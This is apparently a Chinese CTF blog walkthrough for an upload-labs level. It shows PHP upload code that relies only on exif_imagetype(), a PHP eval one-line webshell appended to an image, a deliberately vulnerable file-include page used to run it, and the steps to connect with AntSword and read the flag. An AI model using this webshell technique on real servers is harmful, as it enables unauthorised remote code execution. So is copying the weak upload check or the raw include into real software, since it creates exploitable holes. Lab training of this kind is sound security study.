Upload-Labs-Linux
1
点击部署靶机。
简介
upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。
注意
1.每一关没有固定的通关方法,大家不要自限思维!
2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路。
3.实在没有思路时,可以点击查看提示。
4.如果黑盒情况下,实在做不出,可以点击查看源码。
后续
如在渗透测试实战中遇到新的上传漏洞类型,会更新到upload-labs中。当然如果你也希望参加到这个工作当中,欢迎pull requests给我!
项目地址:https://github.com/c0ny1/upload-labs
任务
上传图片马到服务器。
注意:
1.保证上传后的图片马中仍然包含完整的一句话或webshell代码。
2.使用文件包含漏洞能运行图片马中的恶意代码。
3.图片马要.jpg,.png,.gif三种后缀都上传成功才算过关!
提示
本pass使用exif_imagetype()检查是否为图片文件!
代码
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
原理
exif_imagetype()
exif_imagetype()
是 PHP 的一个内置函数,用于确定图像文件的类型。这个函数读取文件的前几个字节,然后查找特定的二进制签名来确定文件类型。这种方法比检查文件扩展名更准确,因为它实际上检查了文件的内容。
exif_imagetype()
函数返回一个整数,代表图像的类型。这个整数对应于一些预定义的常量,如 IMAGETYPE_JPEG
、IMAGETYPE_GIF
、IMAGETYPE_PNG
等。
如果文件不是图像或者无法确定图像类型,exif_imagetype()
函数会返回 false
。
这是一个简单的使用示例:
$file_type = exif_imagetype('image.jpg');
if ($file_type != false) {
echo 'Image type is ' . $file_type;
} else {
echo 'Not a valid image file';
}
在这个示例中,如果 ‘image.jpg’ 是一个有效的图像文件,exif_imagetype()
会返回一个代表图像类型的整数。否则,它会返回 false
,表示文件不是一个有效的图像文件。
解法
传个一句话木马。
<?php @eval($_POST['a']); ?>
提示:文件未知,上传失败!
将后缀改为 .jpg,再上传。
用 Photoshop 创建图片。
winhex 打开文件,文件结尾接一句话木马。
<?php @eval($_POST['a']); ?>
保存。上传成功。
右键点击图片,复制图像链接。
http://47a38343-d0ad-4ed0-9160-76e3decdea69.node5.buuoj.cn:81/upload/3020240430071109.jpeg
访问:
http://55f3afd7-3ee6-41d9-8a94-0a4db842f8cf.node5.buuoj.cn:81/include.php
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?>
通过蚁剑连接:
http://47a38343-d0ad-4ed0-9160-76e3decdea69.node5.buuoj.cn:81/include.php?file=upload/3020240430071109.jpeg
访问根目录。
找到 flag。
Flag
flag{e5c6ec40-25ad-4ef3-bd64-22ae1e9cd061}
声明
本博客上发布的所有关于网络攻防技术的文章,仅用于教育和研究目的。所有涉及到的实验操作都在虚拟机或者专门设计的靶机上进行,并且严格遵守了相关法律法规。
博主坚决反对任何形式的非法黑客行为,包括但不限于未经授权的访问、攻击或破坏他人的计算机系统。博主强烈建议每位读者在学习网络攻防技术时,必须遵守法律法规,不得用于任何非法目的。对于因使用这些技术而导致的任何后果,博主不承担任何责任。